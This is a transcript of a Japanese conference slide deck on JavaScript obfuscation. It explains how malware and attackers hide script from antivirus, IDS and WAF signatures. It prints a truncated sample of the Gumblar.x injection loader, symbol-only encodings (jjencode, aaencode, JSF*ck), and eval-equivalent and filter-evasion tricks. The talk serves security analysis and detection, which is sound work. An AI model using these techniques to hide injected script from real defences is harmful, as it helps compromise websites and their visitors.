難読化 javascript

34
難難難 JavaScript NetAgent Co.,Ltd. Yosuke HASEGAWA

Upload: caldwell-beasley

Post on 01-Jan-2016

80 views

Category:

Documents


0 download

DESCRIPTION

難読化 JavaScript. NetAgent Co.,Ltd . Yosuke HASEGAWA. 韓国 POC2010. 韓国最大のセキュリティカンファレンス 2010 年 12 月 14 日、 15 日 参加者 200 名くらい 海外からも有名スピーカー. 韓国 POC2010. 本題 難読化 JavaScript. 難読化の理由. 圧縮の副作用として アンチウイルスや IDS のシグネイチャ回避 アンチ デバッグ. 難読化:圧縮 の副作用と して. 配信サイズの縮小 Google Closure Compiler - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: 難読化  JavaScript

難読化 JavaScriptNetAgent Co.,Ltd.Yosuke HASEGAWA

Page 2: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

韓国 POC2010

韓国最大のセキュリティカンファレンス 2010 年 12 月 14 日、 15 日 参加者 200 名くらい 海外からも有名スピーカー

Page 3: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

韓国 POC2010

Page 4: 難読化  JavaScript

本題難読化 JavaScript

Page 5: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の理由

圧縮の副作用としてアンチウイルスや IDS のシグネイ

チャ回避アンチデバッグ

Page 6: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:圧縮の副作用として

配信サイズの縮小Google Closure CompilerYahoo! YUI CompressorMicrosoft Ajax Minifier

Page 7: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:圧縮の副作用として

Page 8: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:圧縮の副作用として

Page 9: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:圧縮の副作用として

圧縮された JavaScript のデバッグdeminify ツールはいろいろFiddler で deminified JS を返すWeb ブラウザのデバッガで解析

Page 10: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:シグネイチャの回避

パターンマッチの回避が目的容易に亜種を生成「解析のしにくさ」は副次的 ?Gumblar 、 Gumblar.x など

Page 11: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : Gumblar.x<script>/*GNU GPL*/ try{window.onload = function(){ var If0y2m9d6n3gx = document.createElement( 's)(c&&r&i@&$p(t))@&@....' .replace( /&|\(|@|#|\!|\$|\^|\)/ig, '')); If0y2m9d6n3gx.setAttribute('type', 't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s $$$c^r@))i$@p^@)t^!!$' .replace(/&|#|\)|\!|@|\^|\$|\(/ig, '')); If0y2m9d6n3gx.setAttribute('src', 'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/(' .replace(/\$|#|\^|@|\(|&|\)|\!/ig, ''));

Page 12: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化: Gumblar

文字列リテラルに記号を挿入 ‘ 文 $ 字 #% 列’ .replace( / 記号 /, '' );機械的に生成可能

変数名が長いvar If0y2m9d6n3gx, Jydcftfn0k ;英数字のみ ? 

Page 13: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : Gumblar.x

パターンマッチでない検出アプローチ

文字の出現頻度a-zA-Z0-9 と &#)!@^$( の割合

Gumblar : 30% - 55%jQuery : 87%Twitter : 88%

Page 14: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化:シグネイチャの回避

特定サイトの WAF/IDS の回避が目的一撃必殺 ? 一期一会 ?亜種の生成は不要あまり知りません ^^;

最終的には <script> <iframe> などを挿入

Page 15: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : アンチデバッグ

解析しにくいコードブラウザ依存でも可 ?趣味の世界

jjencode, aaencode, JSF*ck

Page 16: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

jjencode$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\")"+"\"")())();

http://utf-8.jp/public/jjencode.html

Page 17: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

aaencode゚ ω ゚ノ = / `m ´ )ノ ~ //*´┻━┻ ∇ ` */ ['_']; o=( ゚ー゚ ) =_=3; c=( ゚ Θ ゚ ) =( ゚ー゚ )-( ゚ー゚ ); ( ゚ Д ゚ ) =( ゚ Θ ゚ )= (o^_^o)/ (o^_^o);( ゚ Д ゚ )={ ゚ Θ ゚ : '_' , ゚ω ゚ノ : (( ゚ ω ゚ノ ==3) +'_') [ ゚ Θ ゚ ] , ゚ー゚ノ :( ゚ ω ゚ノ + '_')[o^_^o -( ゚Θ ゚ )] , ゚ Д ゚ノ :(( ゚ー゚ ==3) +'_')[ ゚ー゚ ] }; ( ゚ Д ゚ ) [ ゚ Θ ゚ ] =(( ゚ ω ゚ノ ==3) +'_') [c^_^o];( ゚ Д ゚ ) ['c'] = (( ゚ Д ゚ )+'_') [ ( ゚ー゚ )+( ゚ー゚ )-( ゚ Θ ゚ ) ];( ゚ Д ゚ ) ['o'] = (( ゚ Д ゚ )+'_') [ ゚ Θ ゚ ];( ゚ o ゚ )=( ゚ Д ゚ ) ['c']+( ゚ Д ゚ ) ['o']+( ゚ ω ゚ノ +'_')[ ゚ Θ ゚ ]+ (( ゚ ω ゚ノ ==3) +'_') [ ゚ー゚ ] + (( ゚ Д ゚ ) +'_') [( ゚ー゚ )+( ゚ー゚ )]+ (( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+(( ゚ー゚ ==3) +'_') [( ゚ー゚ ) - ( ゚ Θ ゚ )]+( ゚ Д ゚ ) ['c']+(( ゚ Д ゚ )+'_') [( ゚ー゚ )+( ゚ー゚ )]+ ( ゚ Д ゚ ) ['o']+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ];( ゚Д ゚ ) ['_'] =(o^_^o) [ ゚ o ゚ ] [ ゚ o ゚ ];( ゚ ε ゚ )=(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚Д ゚ ) . ゚ Д ゚ノ +(( ゚ Д ゚ )+'_') [( ゚ー゚ ) + ( ゚ー゚ )]+(( ゚ー゚ ==3) +'_') [o^_^o - ゚Θ ゚ ]+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚ ω ゚ノ +'_') [ ゚ Θ ゚ ]; ( ゚ー゚ )+=( ゚ Θ ゚ ); ( ゚Д ゚ )[ ゚ ε ゚ ]='\\'; ( ゚ Д ゚ ). ゚ Θ ゚ノ =( ゚ Д ゚ + ゚ー゚ )[o^_^o -( ゚ Θ ゚ )];(o ゚ー゚o)=( ゚ ω ゚ノ +'_')[c^_^o];( ゚ Д ゚ ) [ ゚ o ゚ ]='\"';( ゚ Д ゚ ) ['_'] ( ( ゚ Д ゚ ) ['_'] ( ゚ε ゚ +( ゚ Д ゚ )[ ゚ o ゚ ]+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ((o^_^o) - ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ (c^_^o)+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+((o^_^o) +(o^_^o))+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ o ゚ ]) ( ゚ Θ ゚ )) ('_');

http://utf-8.jp/public/aaencode.html

Page 18: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

JSF*ck(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()

http://utf-8.jp/public/jsfuck.html

Page 19: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

jjencode による攻撃

http://www.malwaredomainlist.com/forums/index.php?topic=4354.0

http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html

Page 20: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

jjencode による攻撃

現実的には攻撃には不向き亜種の生成が困難IE7 以下で動作しない「エンコード」なのでデコードが簡

単文字種から容易に検出可能

Page 21: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法いろいろ

変数の使いまわし、ロジックの裁断ヘタクソなプログラムと一緒

単純にノイズを埋め込むJavaScript の柔軟性を利用

window["alert"](1)eval("alert(1)")

Page 22: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 数値の生成

数値を使わないコードの記述が可能に数値でないものに演算子を適用

"2" * "3" // 6+[] -~NaN // 0 - -1 == 1""^"" // 0 xor 0 == 0

Page 23: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 論理値の生成

true / false を直接記述しないコードが可能に

論理値でないものに論理演算子を適用![] // false""=='' // true[]<{} // true

Page 24: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の生成

8 進数、 16 進数で表記"\101\x42"

JS or ブラウザのエスケープ関数unescape("%41%42")String.fromCharCode(0x41,0x42)atob("QUI=")

Page 25: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の生成

文字列でないものに文字列演算子を適用で、 string にキャスト{}+"" //"[object Object]"[]+![] // "false"[]["$"]+"" // "undefined"

配列形式で 1 文字取り出し([]+![])[ 0 ] // 'f'

Page 26: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の操作

文字の切り出し"abcd"[ 0 ]

引用符を使わないリテラル文字列/ABCD/.source // 正規表現<>ABCD</> // E4X FF

Page 27: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の操作

文字の連結"A".concat("B")["A","B"].join().replace(/,/g,"")<>{"A"}{"B"}</a> // E4X FF

Page 28: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列を実行

DOM 経由write("<script>...</script>")

JS 内で evaleval( "alert(1)" )

Page 29: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列を実行

eval 相当の機能setTimeout("alert(1)", 0 )Function("alert(1)")()Number.constructor("alert(1)")()execScript("alert(1)", "jscript") //IE

Page 30: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列を実行

eval 相当の機能crypto.generateCRMFRequest(

'CN=0', 0, 0, null,'alert(1)',384,null,'rsa-dual-use') //

FFexecScript(

"#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@","jscript.encode") // IE

Page 31: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : window の取得

window["alert"](1)window["eval"]("alert(1)")

Page 32: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : window の取得

window, self, this, top, parentx=''.split,x(null)Date.constructor('return this')()(0,[].sort)()

Page 33: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 将来…

ブラウザ依存の積極的活用主ターゲットを絞る、ブラウザごと

に違う exploit 等アンチデバッガ

WebWorkers が利用可能

Page 34: 難読化  JavaScript

INNOVATION TO THE FUTURE NetAgent Co., Ltd.

参考資料

Our Favorite XSS Filters/IDS and how to Attack Themhttp://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

JavaScript From Hellhttp://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf

sla.ckers.org web application security forum :: XSS Infohttp://sla.ckers.org/forum/list.php?2

sla.ckers.org web application security forum :: Obfuscationhttp://sla.ckers.org/forum/list.php?24